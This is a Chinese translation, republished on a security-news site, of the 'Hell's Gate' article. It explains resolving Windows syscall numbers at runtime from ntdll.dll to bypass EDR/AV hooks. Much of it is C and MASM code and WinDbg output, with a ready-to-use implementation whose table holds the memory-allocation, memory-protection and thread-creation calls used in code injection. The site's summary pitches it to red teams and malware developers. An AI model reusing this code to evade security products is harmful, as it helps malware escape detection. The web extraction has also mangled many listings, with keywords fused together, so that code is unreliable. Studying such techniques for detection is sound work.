好文|重温经典—地狱之门Hell’sGate

admin 2026-08-03 04:50:58 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详细介绍了Hell’sGate技术,一种在Windows环境下动态解析系统调用的方法,无需依赖静态硬编码的系统调用号。该技术通过遍历进程环境块(PEB)定位ntdll.dll模块,在运行时解析其导出函数,从而绕过基于静态分析的EDR/AV挂钩。文章对比了传统IAT清空方法与直接系统调用的优劣,并提供了实现细节,为红队和恶意软件开发者提供了增强规避能力的新思路。 综合评分: 90 文章分类: 恶意软件,红队,逆向分析,安全开发


cover_image

好文 | 重温经典—地狱之门 Hell’s Gate

原创

RtlMateusz RtlMateusz

赛博生存指南

2026年7月28日 17:58 浙江

在小说阅读器读本章

去阅读

原作者:smelly__vx (@RtlMateusz) 与 am0nsec (@am0nsec) 仓库地址: https://github.com/am0nsec/HellsGate pdf: https://pan.baidu.com/s/1Y3nndIiiVzcG410t7n1DFQ?pwd=781k

“I [am] he that liveth, and was dead; and, behold, I am alive for evermore, Amen; and have the keys of hell and of death.” —— 《启示录》1:18

“又是那存活的;我曾死过,现在又活了,直活到永永远远;并且拿着死亡和阴间的钥匙。”


近来愈发明显的一点是:人们在函数调用上越来越依赖那些依赖静态元素的工具和方法论。这里我们指的是系统调用(syscalls)。在理想情况下,应当避免使用静态的、硬编码的元素——因为现实中很少见哪段 VX(病毒/恶意代码) 能够可靠地假定其目标平台的子系统环境。因此,在野的系统调用并不常被使用。这就导致 VX 采取了一种更为古老的方式:与其发起系统调用,不如依赖那些久经验证的方法论——在运行时还原 LoadLibraryGetProcAddress 与 FreeLibrary。这一方法足以令 PE 文件的 导入地址表(Import Address Table, IAT) 被清空,从而规避初级的启发式分析。

在撰写本文之前,我们自己也在刻意回避系统调用——因为硬编码元素终究不是最佳实践。然而,我们很高兴地宣布:我们已经揭开了这层面纱,找到了一种能够在运行时以编程方式聚合系统调用的方法,从而摆脱不必要的依赖。为简洁起见,本文将主要聚焦于如何 动态地获取(dynamically retrieving) 系统调用。本文假定读者已具备 Windows 内部机制(Windows internals) 与 Windows PE 文件格式的相关知识。最后顺带一提:“Hell’s Gate(地狱之门)”这一名称,抛开其宗教含义之外,同时也是在致敬由 Roy G. Biv 开发的著名 Heaven’s Gate 技术——后者演示了如何从 64 位进程中执行 32 位代码(或反之)。


目录

  • 第 1 部分 历史沿革的做法
  • 第 2 部分 Hell’s Gate
  • 第 3 部分 实现
  • 第 4 部分 结论

第 1 部分 历史沿革的做法

二十多年来,在动态分析与静态分析两方面都最流行的一种规避手法之一,便是通过以编程方式还原著名的 LoadLibraryGetProcAddressFreeLibrary 函数,从而清空 PE 文件的导入地址表(IAT)。这套方法论在 1997 年的 e-zine《29a Labs》第 2 卷中,由 Jack Qwerty 在文章《GetProcAddress-alike utility》里发表后一举成名。他的代码演示了如何解析内存中 Kernel32.dll 模块的导出地址表(Export Address Table, EAT),并以编程方式解析其 VX 感染例程所需的函数地址。他开发这个工具是为了辅助感染器(infector)的开发——因为它不依赖硬编码的函数地址。

尽管这种方法今后仍将是一种有效途径,也仍会被众多 VX 作者继续使用,但近期出现了一个趋势:红队开始转而使用系统调用。2019 年 6 月,Cornelis de Plaa (@Cneelis) 发表了一篇题为《Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR》(红队战术:结合直接系统调用与 sRDI 以绕过 AV/EDR)的文章。这篇文章使系统调用这种用法流行起来,并因其更强的防御/规避能力而引入了这套方法论。随后不久,Jackson T. (@Jackson_T) 在 GitHub 上发布了 SysWhispers 这个 Python 实用脚本(链接)。系统调用带来了两个好处:其一,它消除了隐式或显式链接内存中模块的需求,从而实现了绝对的位置无关性(position independence);其二,这种方法摒弃了通过 API 转发(forwarding) 将已文档化的 API(如 VirtualAlloc) 映射到未文档化的 API(如 NtAllocateVirtualMemory) 的做法——而这些 API 都有可能被已安装的 EDR 或 AV 产品挂钩(hook)

乍看之下这似乎更胜一筹,然而一个问题也随之浮现:SysWhispers完全依赖于静态定义的系统调用号。这个脚本以及网上找到的其他概念验证(proof-of-concept,都无法在运行时自我解析并动态地发起系统调用。因此,可以毫不夸张地说:它们极度依赖 Mateusz Jurczyk (@j00ru) 维护的《Windows X86-64 System Call Table》这张表。

在审阅了 SysWhispers、j00ru 的工作以及若干概念验证之后,我们决定创造 Hell’s Gate。这个通用代码库能够在不依赖任何静态元素的前提下自我解析系统调用。此外,这个通用代码库在聚合系统调用本身的过程中,不会发起任何函数调用


第 2 部分 Hell’s Gate

除 Windows 10 操作系统上的 minimal 进程与 pico 进程之外,所有用户态(Ring 3)进程在默认情况下都会隐式链接到 ntdll.dll,因为映像加载器(image loader)的功能正位于此处。ntdll.dll 中存在的映像加载器功能,包含了加载(或卸载)该 PE 映像正常运行所需的、其他隐式链接或延迟加载的模块的必要组件。此外,ntdll.dll 还包含了一组承载着 API 转发(API forwards)最终目的地的功能集合。这些转发位置,正是用户态 API 调用经由系统调用过渡到内核地址空间(Ring 0) 的地方。换言之,ntdll.dll 模块内的这些函数,本质上都是围绕系统调用的封装(wrapper)——而这也正是我们希望在运行时以编程方式解析、且不依赖硬编码定义的目标。

由于 ntdll.dll 实际上被隐式链接到加载进内存的几乎每一个 PE 映像,我们可以利用这个内存中的模块,在聚合系统调用时占据优势。除非该 PE 映像的 InMemoryModuleList 被篡改过(这是杀毒引擎常用的一种手法),否则 ntdll.dll 将会是该 DLL 隐式链接的第二个内存模块——而第一个则是 PE 映像自身。下面的数据展示了 powershell.exe 的 InMemoryOrderModuleList

0:000> ?? ((ntdll!_LDR_DATA_TABLE_ENTRY*)(((int64)((ntdll!_PEB*)@@(@$peb))->Ldr-
>InMemoryOrderModuleList.Flink) - 0x10))->BaseDllName

struct _UNICODE_STRING
"powershell.exe"
+0x000 Length           : 0x1c
+0x002 MaximumLength    : 0x1e
+0x008 Buffer           : 0x00000239`10bc2b6e "powershell.exe"

0:000> ?? ((ntdll!_LDR_DATA_TABLE_ENTRY*)(((int64)((ntdll!_PEB*)@@(@$peb))->Ldr-
>InMemoryOrderModuleList.Flink->Flink) - 0x10))->BaseDllName

struct _UNICODE_STRING
"ntdll.dll"
+0x000 Length           : 0x12
+0x002 MaximumLength    : 0x14
+0x008 Buffer           : 0x00007fff`b049f650 "ntdll.dll"

0:000>

对于不熟悉 PEB(Process Environment Block,进程环境块) 的读者而言:进程环境块是由内核分配给每个进程的一个用户态结构。网上已有大量资料描述该结构、其内容、它是如何建立的,以及它的历史意义。为简洁起见,我们不会过多展开它如何被创建、为何被创建,或者各 Windows 版本之间的历史变化。在本文中,我们将专门讲解如何访问该结构,以便以编程方式遍历 _PEB_LDR_DATA 成员及其任何子结构与组件

PEB 的位置取决于该进程运行于 32 位还是 64 位地址空间。在 32 位地址空间中,PEB 可在 FS 寄存器偏移 48 字节(0x30) 处找到;而在 64 位进程中,可在 GS 寄存器偏移 96 字节(0x60) 处找到其 PEB。下面的代码片段展示了如何使用微软的内联函数(intrinsic functions)来为 32 位或 64 位进程获取 PEB。

_readgsqword 内联函数文档可在此处查阅。

intmain(VOID) {
    PPEB Peb = (PPEB)__readfsdword(0x30); // 32 位进程
    PPEB Peb = (PPEB)__readgsqword(0x60); // 64 位进程

return ERROR_SUCCESS;
}

(不)幸的是,微软并未定义 PEB 这一数据结构。为了成功获取 PEB,你必须自行定义它。这其实是一着险棋——因为 PEB 在各 Windows 版本之间不断变化。下面这段冗长而痛苦的结构体,就是我在恶意代码中所定义的 PEB 结构。

typedefstruct _LSA_UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING;

typedefstruct _LDR_MODULE {
    LIST_ENTRY                    InLoadOrderModuleList;
    LIST_ENTRY                    InMemoryOrderModuleList;
    LIST_ENTRY                    InInitializationOrderModuleList;
    PVOID                         BaseAddress;
    PVOID                         EntryPoint;
    ULONG                         SizeOfImage;
    UNICODE_STRING                FullDllName;
    UNICODE_STRING                BaseDllName;
    ULONG                         Flags;
    SHORT                         LoadCount;
    SHORT                         TlsIndex;
    LIST_ENTRY                    HashTableEntry;
    ULONG                         TimeDateStamp;
} LDR_MODULE, *PLDR_MODULE;

typedefstruct _PEB_LDR_DATA {
    ULONG                         Length;
    ULONG                         Initialized;
    PVOID                         SsHandle;
    LIST_ENTRY                    InLoadOrderModuleList;
    LIST_ENTRY                    InMemoryOrderModuleList;
    LIST_ENTRY                    InInitializationOrderModuleList;
} PEB_LDR_DATA, *PPEB_LDR_DATA;

typedefstruct _PEB {
    BOOLEAN                       InheritedAddressSpace;
    BOOLEAN                       ReadImageFileExecOptions;
    BOOLEAN                       BeingDebugged;
    BOOLEAN                       Spare;
    HANDLE                        Mutant;
    PVOID                         ImageBase;
    PPEB_LDR_DATA                 LoaderData;
    PVOID                         ProcessParameters;
    PVOID                         SubSystemData;
    PVOID                         ProcessHeap;
    PVOID                         FastPebLock;
    PVOID                         FastPebLockRoutine;
    PVOID                         FastPebUnlockRoutine;
    PVOID                         EnvironmentUpdateCount;
    ULONG                         KernelCallbackTable;
    PVOID*                        EventLogSection;
    PVOID                         EventLog;
    PVOID                         FreeList;
    PVOID                         TlsExpansionCounter;
    ULONG                         TlsBitmap;
    PVOID                         TlsBitmapBits[0x2];
    ULONG                         ReadOnlySharedMemoryBase;
    PVOID                         ReadOnlySharedMemoryHeap;
    PVOID                         ReadOnlyStaticServerData;
    PVOID*                        AnsiCodePageData;
    PVOID                         OemCodePageData;
    PVOID                         UnicodeCaseTableData;
    ULONG                         NumberOfProcessors;
    ULONG                         NtGlobalFlag;
    BYTE                          Spare2[0x4];
    LARGE_INTEGER                 CriticalSectionTimeout;
    ULONG                         HeapSegmentReserve;
    ULONG                         HeapSegmentCommit;
    ULONG                         HeapDeCommitTotalFreeThreshold;
    ULONG                         HeapDeCommitFreeBlockThreshold;
    ULONG                         NumberOfHeaps;
    ULONG                         MaximumNumberOfHeaps;
    PVOID**                       ProcessHeaps;
    PVOID                         GdiSharedHandleTable;
    PVOID                         ProcessStarterHelper;
    PVOID                         GdiDCAttributeList;
    PVOID                         LoaderLock;
    ULONG                         OSMajorVersion;
    ULONG                         OSMinorVersion;
    ULONG                         OSBuildNumber;
    ULONG                         OSPlatformId;
    ULONG                         ImageSubSystem;
    ULONG                         ImageSubSystemMajorVersion;
    ULONG                         ImageSubSystemMinorVersion;
    ULONG                         GdiHandleBuffer[0x22];
    ULONG                         PostProcessInitRoutine;
    ULONG                         TlsExpansionBitmap;
    BYTE                          TlsExpansionBitmapBits[0x80];
    ULONG                         SessionId;
} PEB, *PPEB;

可以看到,PEB 是一个相当庞杂的结构。该结构内的成员不仅对 Windows 操作系统极具价值,对于我们聚合系统调用这一目标也极为宝贵。具体而言,我们最感兴趣的成员是 LoaderData:

PPEB_LDR_DATA LoaderData;

该成员允许作者通过一个双向链表进行前向(forward)或后向(backward)链接,从而枚举出与该二进制文件相关联的内存模块(DLL)。每一个 _LIST_ENTRY InMemoryOrderModuleList 都可以被类型转换为 _LDR_MODULE 结构,从而提供关于该内存模块的更多细节,包括基址(base address)与 DLL 名称。

在我们的第一个示例中,我们将为一个 64 位 PE 文件获取 PEB,并以编程方式枚举内存模块。

#include<windows.h>
#include<stdio.h>
#include"peb.h"

intmain(VOID)&nbsp;{
&nbsp; &nbsp; PPEB Peb = (PPEB)__readgsqword(0x60);
&nbsp; &nbsp; PLDR_MODULE pLoadModule;

&nbsp; &nbsp; pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink -&nbsp;0x10);

printf("%ws\r\n", pLoadModule->FullDllName.Buffer);
return&nbsp;ERROR_SUCCESS;
}

在上面这段代码中,我们通过获取 GS 寄存器偏移 96 字节(0x60) 处的指针,取得了当前进程的 PEB。我们访问 LoaderData 成员,并 Flink 前向链接到第二个内存次序模块。此外需要特别注意的是:在我们的前向链接中,我们从 Flink 中减去 16 字节,以确保我们对齐正确(这种 16 字节对齐在 32 位与 64 位进程中都必须存在)。随后,我们打印该内存模块的 FullDllName.Buffer 以查看结果。在大多数情况下,第二个内存模块将会是 ntdll.dll。然而正如前文所述,某些杀毒引擎(例如 AVG)可能会篡改内存次序模块列表。如果你不以编程方式验证你所前向链接到的内存模块,你可能会访问到错误的模块,从而无法加载任何相关功能。

理解了这一点之后,我们现在就具备了获取目标内存模块基址的能力。这无异于打开了潘多拉的魔盒——我们现在拥有了遍历该模块导出地址表、并动态解析系统调用的能力。

本文不会讲解 PE 头部。我们会讲解如何遍历它们(因为这属于本文范围),但不会讨论各个 PE 头的用途、所含数据及其特征。如果你有兴趣进一步了解 PE 文件格式及其相关元素,我强烈建议你阅读 Krzysztof Kowalczyk 的《Port Executable File Format》。

我们的目标是到达模块的导出地址表(Export Address Table)。我们的公式如下:

  1. 获取基址;
  2. 获取 _IMAGE_DOS_HEADER,并通过检查 IMAGE_DOS_SIGNATURE 来校验它;
  3. 遍历 _IMAGE_NT_HEADER_IMAGE_FILE_HEADER 与 _IMAGE_OPTIONAL_HEADER
  4. 在 _IMAGE_OPTIONAL_HEADER 内定位导出地址表——它位于 _IMAGE_DATA_DIRECTORY 之中,我们将之类型转换为 _IMAGE_EXPORT_DIRECTORY 数据结构。

下面来填补我们公式中的空白:

#include<windows.h>
#include"peb.h"

intmain(VOID)&nbsp;{
&nbsp; &nbsp; PPEB Peb = (PPEB)__readgsqword(0x60);
&nbsp; &nbsp; PLDR_MODULE pLoadModule;
&nbsp; &nbsp; PBYTE ImageBase;
&nbsp; &nbsp; PIMAGE_DOS_HEADER Dos =&nbsp;NULL;
&nbsp; &nbsp; PIMAGE_NT_HEADERS Nt =&nbsp;NULL;
&nbsp; &nbsp; PIMAGE_FILE_HEADER File =&nbsp;NULL;
&nbsp; &nbsp; PIMAGE_OPTIONAL_HEADER Optional =&nbsp;NULL;
&nbsp; &nbsp; PIMAGE_EXPORT_DIRECTORY ExportTable =&nbsp;NULL;

&nbsp; &nbsp; pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink -&nbsp;16);

&nbsp; &nbsp; ImageBase = (PBYTE)pLoadModule->BaseAddress;

&nbsp; &nbsp; Dos = (PIMAGE_DOS_HEADER)ImageBase;
if&nbsp;(Dos->e_magic != IMAGE_DOS_SIGNATURE)
return1;

&nbsp; &nbsp; Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew);

&nbsp; &nbsp; File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew +&nbsp;sizeof(DWORD)));

&nbsp; &nbsp; Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File +&nbsp;sizeof(IMAGE_FILE_HEADER));

&nbsp; &nbsp; ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0].VirtualAddress);

return&nbsp;ERROR_SUCCESS;
}

在上面这段代码中,成功取得内存模块基址之后,我们用它把该内存地址类型转换为 IMAGE_DOS_HEADER。我们所用的逻辑如下:

  1. 从基址取得 _IMAGE_DOS_HEADER;
  2. _IMAGE_NT_HEADER = _IMAGE_DOS_HEADER 加上其 e_lfanew 成员;
  3. _IMAGE_FILE_HEADER = _IMAGE_DOS_HEADER 加上一个 DWORD 的大小(无符号整数值),再加上内存模块的基址;
  4. _IMAGE_OPTIONAL_HEADER = _IMAGE_FILE_HEADER 加上 IMAGE_FILE_HEADER 的大小。

最后,_IMAGE_EXPORT_DIRECTORY = 内存模块的映像基址 加上 _IMAGE_OPTIONAL_HEADER 成员 DataDirectory 中数组第一个序数(下标为零)的虚拟地址

既然我们已经成功遍历到了内存模块的导出地址表,下面就让我们在显微镜下审视一下这个导出地址表。

0:000> ?? ((ntdll!_LDR_DATA_TABLE_ENTRY*)(((int64)((ntdll!_PEB*)@@(@$peb))->Ldr-
>InMemoryOrderModuleList.Flink->Flink) - 0x10))->DllBase
void * 0x00007fff`b0370000

0:000> ?? ((ntdll!_IMAGE_NT_HEADERS64*)(((ntdll!_IMAGE_DOS_HEADER*)@@(0x00007fff`b0370000))->e_lfanew
+ 0x00007fffb0370000))->OptionalHeader.DataDirectory
struct _IMAGE_DATA_DIRECTORY [16] 0x00007fff`b0370170
+0x000 VirtualAddress : 0x14fe60
+0x004 Size &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 0x12e4f

0:000> ?? (OLE32!_IMAGE_EXPORT_DIRECTORY*)@@(0x00007fff`b0370000 + 0x14fe60)
struct _IMAGE_EXPORT_DIRECTORY * 0x00007fff`b04bfe60
+0x000 Characteristics &nbsp; &nbsp; &nbsp;: 0
+0x004 TimeDateStamp &nbsp; &nbsp; &nbsp; &nbsp;: 0xcad89ab4
+0x008 MajorVersion &nbsp; &nbsp; &nbsp; &nbsp; : 0
+0x00a MinorVersion &nbsp; &nbsp; &nbsp; &nbsp; : 0
+0x00c Name &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 0x155d6e
+0x010 Base &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; : 8
+0x014 NumberOfFunctions &nbsp; &nbsp;: 0x97e
+0x018 NumberOfNames &nbsp; &nbsp; &nbsp; &nbsp;: 0x97d
+0x01c AddressOfFunctions &nbsp; : 0x14fe88
+0x020 AddressOfNames &nbsp; &nbsp; &nbsp; : 0x152480
+0x024 AddressOfNameOrdinals: 0x154a74

0:000>

我们现在可以开始遍历导出地址表,寻找我们想要的函数。为了成功解析函数地址,我们需要做额外的算术运算。首先,让我们回顾一下导出地址表的几个属性:

  • FunctionNameAddressArray:一个包含函数名的数组;
  • FunctionOrdinalAddressArray:该数组作为 FunctionAddressArray 的索引(index);
  • FunctionAddressArray:一个包含函数地址的数组。

由于我们对该存放所有函数的位置拥有读权限,因此我们能够通过读取函数 RVA 处的字节,对这些函数进行伪反汇编(pseudo-disassemble)

为了进一步展开这一概念:尽管内部组件会发生变化(正如 j00ru 的系统调用表不断更新所示),但仍有一些静态元素可供我们智能地、动态地聚合系统调用。系统调用被定义为 WORD 类型(16 位无符号整数),存放在 EAX 寄存器中,并通过 syscall 操作(x86 上为 sysenter)来执行。ntdll.dll 中的这些函数都共享一个相似的执行结构。

例如:

0:000> uf ntdll!NtCreateMutant

ntdll!NtCreateMutant:
00007fff`b040c3d04c8bd1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; r10,rcx
00007fff`b040c3d3&nbsp;b8b3000000&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,0B3h
00007fff`b040c3d8&nbsp;f604250803fe7f01&nbsp;test &nbsp; &nbsp;byte&nbsp;ptr&nbsp;[SharedUserData+0x308&nbsp;(00000000`7ffe0308)],1
00007fff`b040c3e07503&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jne &nbsp; &nbsp; ntdll!NtCreateMutant+0x15&nbsp;(00007fff`b040c3e5) Branch

ntdll!NtCreateMutant+0x12:
00007fff`b040c3e20f05&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;syscall
00007fff`b040c3e4c3ret

ntdll!NtCreateMutant+0x15:
00007fff`b040c3e5&nbsp;cd2e &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int &nbsp; &nbsp;&nbsp;2Eh
00007fff`b040c3e7c3ret

0:000> uf ntdll!NtPlugPlayControl

ntdll!NtPlugPlayControl:
00007fff`b040d3b04c8bd1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; r10,rcx
00007fff`b040d3b3&nbsp;b832010000&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,132h
00007fff`b040d3b8&nbsp;f604250803fe7f01&nbsp;test &nbsp; &nbsp;byte&nbsp;ptr&nbsp;[SharedUserData+0x308&nbsp;(00000000`7ffe0308)],1
00007fff`b040d3c07503&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jne &nbsp; &nbsp; ntdll!NtPlugPlayControl+0x15&nbsp;(00007fff`b040d3c5) Branch

ntdll!NtPlugPlayControl+0x12:
00007fff`b040d3c20f05&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;syscall
00007fff`b040d3c4c3ret

ntdll!NtPlugPlayControl+0x15:
00007fff`b040d3c5&nbsp;cd2e &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; int &nbsp; &nbsp;&nbsp;2Eh
00007fff`b040d3c7c3ret

0:000>

如上所示,这些函数先把数据从 RCX 寄存器移入 R10 寄存器,随后把系统调用号移入 EAX。紧接着,ntdll.dll 会校验当前线程的执行环境是 x64 还是 x86——这由其后对 SharedUserData+0x308 的 test 指令体现。如果判定执行环境基于 x64,则执行系统调用;否则函数返回。

遵循这一逻辑,基于函数在内存中的地址,可以按如下方式计算其系统调用号:

0:000> db (ntdll!NtCreateMutant +&nbsp;0x4) L&nbsp;2
00007fff`b040c3d4 b3&nbsp;00&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ..

0:000> ? (0x00 <<&nbsp;8) |&nbsp;0xb3
Evaluate&nbsp;expression:&nbsp;179&nbsp;=&nbsp;00000000`000000b3

0:000> db (ntdll!NtPlugPlayControl +&nbsp;0x4) L2
00007fff`b040d3b4&nbsp;32012.

0:000> ? (0x01 <<&nbsp;8) |&nbsp;0x32
Evaluate&nbsp;expression:&nbsp;306&nbsp;=&nbsp;00000000`00000132

0:000>

既然系统调用现在可以在运行时被动态获取,我们仍然还需要一种动态执行系统调用的方法。这正是 Hell’s Gate 登场之处:

.data
&nbsp; &nbsp; wSystemCall&nbsp;DWORD000h

.code
&nbsp; &nbsp; HellsGate PROC
mov&nbsp;wSystemCall,&nbsp;000h
mov&nbsp;wSystemCall,&nbsp;ecx
ret
&nbsp; &nbsp; HellsGate ENDP

&nbsp; &nbsp; HellDescent PROC
movr10,&nbsp;rcx
moveax, wSystemCall
syscall
ret
&nbsp; &nbsp; HellDescent ENDP
End

这段非常小巧的 MASM(Microsoft Macro Assembler,微软宏汇编) 代码包含两个方法:HellsGate 与 HellDescent。前者用于修改即将被执行的系统调用号,后者则真正执行该系统调用。

我们的函数调用形式如下:

WORD syscall =&nbsp;0x00b3;
HellsGate(syscall);

HANDLE hMutant = INVALID_HANDLE_VALUE;
NTSTATUS st = HellDescent(&hMutant, MUTANT_ALL_ACCESS,&nbsp;NULL, TRUE);

第 3 部分 实现

在本节中,我们将审阅我们的概念验证,并展示一个 Hell’s Gate 的实际实现——它可以开箱即用。

Hell’s Gate 的高层概览如下:声明一个 _VX_TABLE_ENTRY 结构,其中包含与某个唯一系统调用相关联的数据。每一个系统调用都会被分配一个属于它自己的、唯一的 _VX_TABLE_ENTRY 结构。该结构中的成员包括:一个指向该函数在内存模块中地址的指针、一个以字符串形式表示函数名的 64 位无符号整数哈希值,以及系统调用号本身(一个 16 位无符号整数)。此外,每一个 _VX_TABLE_ENTRY 结构都会作为某个更大的、单一的 _VX_TABLE 结构的成员。

typedefstruct&nbsp;_VX_TABLE_ENTRY&nbsp;{
&nbsp; &nbsp; PVOID &nbsp; pAddress;
&nbsp; &nbsp; DWORD64 dwHash;
&nbsp; &nbsp; WORD &nbsp; &nbsp;wSystemCall;
} VX_TABLE_ENTRY, *PVX_TABLE_ENTRY;

typedefstruct&nbsp;_VX_TABLE&nbsp;{
&nbsp; &nbsp; VX_TABLE_ENTRY NtAllocateVirtualMemory;
&nbsp; &nbsp; VX_TABLE_ENTRY NtProtectVirtualMemory;
&nbsp; &nbsp; VX_TABLE_ENTRY NtCreateThreadEx;
&nbsp; &nbsp; VX_TABLE_ENTRY NtWaitForSingleObject;
} VX_TABLE, *PVX_TABLE;

正如本文第 2 部分所述,由于这段代码的目标是彻底的位置无关性,因此在填充 _VX_TABLE 结构或其任何 _VX_TABLE_ENTRY 成员时,不会发起任何函数调用。当我们的二进制文件被加载到内存后,我们会获取一个指向 TIB 的指针,再利用它来访问 PEB。随后,我们会确保 TIB 与 PEB 这两个指针都是有效指针。最后,我们通过检查 PEB 的 OSMajorVersion 成员,来验证操作系统为 Windows 10。

PTEB pCurrentTeb = RtlGetThreadEnvironmentBlock();
PPEB pCurrentPeb = pCurrentTeb->ProcessEnvironmentBlock;
if&nbsp;(!pCurrentPeb || !pCurrentTeb || pCurrentPeb->OSMajorVersion !=&nbsp;0xA) {
return0x1;
}

PTEB&nbsp;RtlGetThreadEnvironmentBlock()&nbsp;{
#if&nbsp;_WIN64
return&nbsp;(PTEB)__readgsqword(0x30);
#else
return&nbsp;(PTEB)__readfsdword(0x16);
#endif
}

同样,如本文第 2 部分所述,我们遍历内存次序模块列表到达 NTDLL,通过减去 16 字节来确认我们的 PLDR_DATA 对齐,然后遍历 PE 映像以获取对 EAT 的访问。

PLDR_DATA_TABLE_ENTRY pLdrDataEntry = (PLDR_DATA_TABLE_ENTRY)((PBYTE)pCurrentPeb->LoaderData-
>InMemoryOrderModuleList.Flink->Flink -&nbsp;0x10);

PIMAGE_EXPORT_DIRECTORY pImageExportDirectory =&nbsp;NULL;
if&nbsp;(!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory ==&nbsp;NULL)
return0x01;

BOOL&nbsp;GetImageExportDirectory(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY* ppImageExportDirectory)&nbsp;{
&nbsp; &nbsp; PIMAGE_DOS_HEADER pImageDosHeader = (PIMAGE_DOS_HEADER)pModuleBase;
if&nbsp;(pImageDosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
return&nbsp;FALSE;
&nbsp; &nbsp; }

&nbsp; &nbsp; PIMAGE_NT_HEADERS pImageNtHeaders = (PIMAGE_NT_HEADERS)((PBYTE)pModuleBase + pImageDosHeader->e_lfanew);
if&nbsp;(pImageNtHeaders->Signature != IMAGE_NT_SIGNATURE) {
return&nbsp;FALSE;
&nbsp; &nbsp; }

&nbsp; &nbsp; *ppImageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)pModuleBase + pImageNtHeaders-
>OptionalHeader.DataDirectory[0].VirtualAddress);

return&nbsp;TRUE;
}

既然我们已经成功取得了指向该 PE 映像 EAT 的指针,接下来就调用 GetVxTableEntry——这是一个用于从 PE 映像的 EAT 中聚合信息、并填充 _VX_TABLE 结构的函数。

VX_TABLE Table = {&nbsp;0&nbsp;};
Table.NtAllocateVirtualMemory.dwHash =&nbsp;0xf5bd373480a6b89b;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory);

Table.NtCreateThreadEx.dwHash =&nbsp;0x64dc7db288c5015f;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx);

Table.NtProtectVirtualMemory.dwHash =&nbsp;0x858bcb1046fb6a37;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory);

Table.NtWaitForSingleObject.dwHash =&nbsp;0xc6a2fa174e551bcb;
GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWaitForSingleObject);

GetVxTableEntry 函数定义如下:

BOOL&nbsp;GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry)&nbsp;{
&nbsp; &nbsp; PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
&nbsp; &nbsp; PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
&nbsp; &nbsp; PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);

for&nbsp;(WORD cx =&nbsp;0; cx < pImageExportDirectory->NumberOfNames; cx++) {
&nbsp; &nbsp; &nbsp; &nbsp; PCHAR pczFunctionName = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
&nbsp; &nbsp; &nbsp; &nbsp; PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];

if&nbsp;(djb2(pczFunctionName) == pVxTableEntry->dwHash) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pVxTableEntry->pAddress = pFunctionAddress;

// MOV EAX
if&nbsp;(*((PBYTE)pFunctionAddress +&nbsp;3) ==&nbsp;0xb8) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BYTE high = *((PBYTE)pFunctionAddress +&nbsp;5);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; BYTE low = *((PBYTE)pFunctionAddress +&nbsp;4);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pVxTableEntry->wSystemCall = (high <<&nbsp;8) | low;
break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

return&nbsp;TRUE;
}

